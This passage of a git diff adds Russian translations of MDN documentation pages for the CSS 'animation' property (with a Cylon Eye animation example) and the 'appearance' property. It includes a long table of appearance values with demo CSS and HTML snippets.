+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Посмотрите примеры <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS анимаций.</a></p>
+
+<h3 id="Cylon_Eye">Cylon Eye</h3>
+
+<p>Учитывая все специфичные для браузеров префиксы, вот анимация цилиндрического глаза, включающая линейные градиенты и анимацию, которая работает во всех основных браузерах:</p>
+
+<pre class="brush: html notranslate">&lt;div class="view_port"&gt;
+  &lt;div class="polling_message"&gt;
+    Listening for dispatches
+  &lt;/div&gt;
+  &lt;div class="cylon_eye"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image: -webkit-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:    -moz-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:      -o-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:         linear-gradient(to right, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+     -moz-animation: 4s linear 0s infinite alternate move_eye;
+       -o-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+   @-moz-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+     @-o-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+        @keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+</pre>
+
+<p>{{EmbedLiveSample('Cylon_Eye')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation', 'animation')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.animation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Использование  CSS анимации</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html
new file mode 100644
index 0000000000..af72de18ef
--- /dev/null
+++ b/files/ru/web/css/appearance/index.html
@@ -0,0 +1,2668 @@
+---
+title: 'appearance (-moz-appearance, -webkit-appearance)'
+slug: Web/CSS/appearance
+tags:
+  - Стилизация
+  - кастомные свойства
+translation_of: Web/CSS/appearance
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>CSS свойство <strong><code>-moz-appearance</code></strong> используется в Gecko (Firefox) для отображения элемента, используя базовые стили платформы на основе темы операционной системы.</p>
+
+<p>Свойство <strong><code>-webkit-appearance</code></strong> используется в браузерах WebKit-based (например, Safari) и Blink-based (например, Chrome, Opera) для того же эффекта. Заметьте, что Firefox и Edge также поддерживают <code>-webkit-appearance</code>, для обеспечения совместимости.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/appearance.html")}}</div>
+
+
+
+<p>Это свойство часто используется в таблицах стилей <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial">XUL</a> для разработки пользовательских виджетов в стиле, соответствующем платформе. Оно, также, используется в реализации <a href="/en-US/docs/XBL">XBL</a> виджетов, которые поставляются с платформой Mozilla.</p>
+
+<div class="note">
+<p><strong>Примечание о совместимости</strong>: Если вы хотите использовать это свойство на веб-сайте, вы должны тестировать его очень осторожно. Хотя оно поддерживается в большинстве современных браузерах, его реализация широко варьируется. В старых браузерах, даже ключевое слово <code>none</code> не окажет одинакового эффекта на все элементы формы различных браузеров, а некоторые его совсем не поддерживают. Различия меньше в более современных браузерах.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* CSS модуль базового интерфейса 4 уровня, значения */
+appearance: none;
+appearance: auto;
+appearance: button;
+appearance: textfield;
+appearance: searchfield;
+appearance: textarea;
+appearance: push-button;
+appearance: button-bevel;
+appearance: slider-horizontal;
+appearance: checkbox;
+appearance: radio;
+appearance: square-button;
+appearance: menulist;
+appearance: menulist-button;
+appearance: listbox;
+appearance: meter;
+appearance: progress-bar;
+
+/* Частичный список доступных значений в Gecko */
+-moz-appearance: scrollbarbutton-up;
+-moz-appearance: <code>button-bevel;</code>
+
+/* Частичный список доступных значений в WebKit/Blink (таких как Gecko и Edge) */
+-webkit-appearance: <code>media-mute-button</code>;
+-webkit-appearance: caret;
+</pre>
+
+<p>Свойство <code>-moz-appearance</code> может быть указано как одно значение, выбранное из списка ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<p><code>&lt;appearance&gt;</code> является одним из нижеследующих ключевых свойств:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Value</th>
+   <th>Demo</th>
+   <th>Browser</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>none</code></td>
+   <td>
+    <div class="hidden" id="sampleNone">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance:none;
+-webkit-appearance:none;
+appearance:none; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleNone",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>No special styling is applied. This is the default.</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> {{Experimental_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleAuto">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: auto;
+-webkit-appearance: auto;
+appearance:auto; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleAuto",100,50,"","", "nobutton")}}</td>
+   <td>None</td>
+   <td>The user agent selects the appropriate special styling based on the element. Acts as <code>none</code> on elements with no special styling.</td>
+  </tr>
+  <tr>
+   <td><code>attachment</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleAttachment">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: attachment;
+-webkit-appearance: attachment; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleAttachment",100,50,"","", "nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>borderless-attachment</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-borderless-attachment">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: borderless-attachment;
+-webkit-appearance: borderless-attachment; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-borderless-attachment",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button;
+-webkit-appearance: button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>The element is drawn like a button.</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-down</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowDown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-down;
+-webkit-appearance: button-arrow-down; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowDown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-next</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowNext">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-next;
+-webkit-appearance: button-arrow-next; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowNext",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-previous</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowPrevious">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-previous;
+-webkit-appearance: button-arrow-previous; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowPrevious",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-up</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowUp">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-up;
+-webkit-appearance: button-arrow-up; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowUp",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>button-bevel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonBevel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-bevel;
+-webkit-appearance: button-bevel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonBevel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-focus</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonFocus">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-focus;
+-webkit-appearance: button-focus; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonFocus",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>caps-lock-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-caps-lock-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: caps-lock-indicator;
+-webkit-appearance: caps-lock-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-caps-lock-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>caret</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCaret">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: caret;
+-webkit-appearance: caret; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCaret",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>checkbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox;
+-webkit-appearance: checkbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>The element is drawn like a checkbox, including only the actual "checkbox" portion.</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckboxContainer">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox-container;
+-webkit-appearance: checkbox-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxContainer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>The element is drawn like a container for a checkbox, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a checkbox.</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-label</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckboxLabel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox-label;
+-webkit-appearance: checkbox-label; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxLabel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>checkmenuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckmenuitem">
+    <pre class="brush: css">
+div { color: black; height: 20px;
+-moz-appearance: checkmenuitem;
+-webkit-appearance: checkmenuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckmenuitem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>color-well</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-color-well">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: color-well;
+-webkit-appearance: color-well; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-color-well",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td><code>input type=color</code></td>
+  </tr>
+  <tr>
+   <td><code>continuous-capacity-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-continuous-capacity-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: continuous-capacity-level-indicator;
+-webkit-appearance: continuous-capacity-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-continuous-capacity-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>default-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-default-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: default-button;
+-webkit-appearance: default-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-default-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>discrete-capacity-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-discrete-capacity-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: discrete-capacity-level-indicator;
+-webkit-appearance: discrete-capacity-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-discrete-capacity-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>dualbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleDualButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: dualbutton;
+-webkit-appearance: dualbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleDualButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>groupbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleGroupbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: groupbox;
+-webkit-appearance: groupbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleGroupbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>inner-spin-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleInnerSpinButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: inner-spin-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleInnerSpinButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>image-controls-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-image-controls-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: image-controls-button;
+-webkit-appearance: image-controls-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-image-controls-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>list-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-list-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: list-button;
+-webkit-appearance: list-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-list-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td>datalist</td>
+  </tr>
+  <tr>
+   <td><code>listbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleListBox">
+    <pre class="brush: css">
+div { color: black; height:20px;
+-moz-appearance: listbox;
+-webkit-appearance: listbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListBox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>listitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleListItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: listitem;
+-webkit-appearance: listitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-enter-fullscreen-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaEnterFullscreenButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-enter-fullscreen-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaEnterFullscreenButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-exit-fullscreen-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaExitFullscreenButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-exit-fullscreen-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaExitFullscreenButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-fullscreen-volume-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-fullscreen-volume-slider">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-fullscreen-volume-slider;
+-webkit-appearance: media-fullscreen-volume-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-fullscreen-volume-slider",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-fullscreen-volume-slider-thumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-fullscreen-volume-slider-thumb">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-fullscreen-volume-slider-thumb;
+-webkit-appearance: media-fullscreen-volume-slider-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-fullscreen-volume-slider-thumb",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-mute-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaMuteButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-mute-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaMuteButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-play-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaPlayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-play-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaPlayButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-overlay-play-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaOverlayPlayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-overlay-play-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaOverlayPlayButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-return-to-realtime-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-return-to-realtime-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-return-to-realtime-button;
+-webkit-appearance: media-return-to-realtime-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-return-to-realtime-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-rewind-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-rewind-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-rewind-button;
+-webkit-appearance: media-rewind-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-rewind-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-seek-back-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-seek-back-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-seek-back-button;
+-webkit-appearance: media-seek-back-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-seek-back-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-seek-forward-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-seek-forward-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-seek-forward-button;
+-webkit-appearance: media-seek-forward-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-seek-forward-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-toggle-closed-captions-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaToggleClosedCaptionsButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-toggle-closed-captions-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaToggleClosedCaptionsButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaSlider">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaSlider",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-sliderthumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaSliderThumb">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-sliderthumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaSliderThumb",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSliderContainer">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSliderContainer",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider-mute-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-volume-slider-mute-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-volume-slider-mute-button;
+-webkit-appearance: media-volume-slider-mute-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-volume-slider-mute-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-volume-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSlider">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSlider",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-volume-sliderthumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaVolumeSliderThumb">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-volume-slider-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaVolumeSliderThumb",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
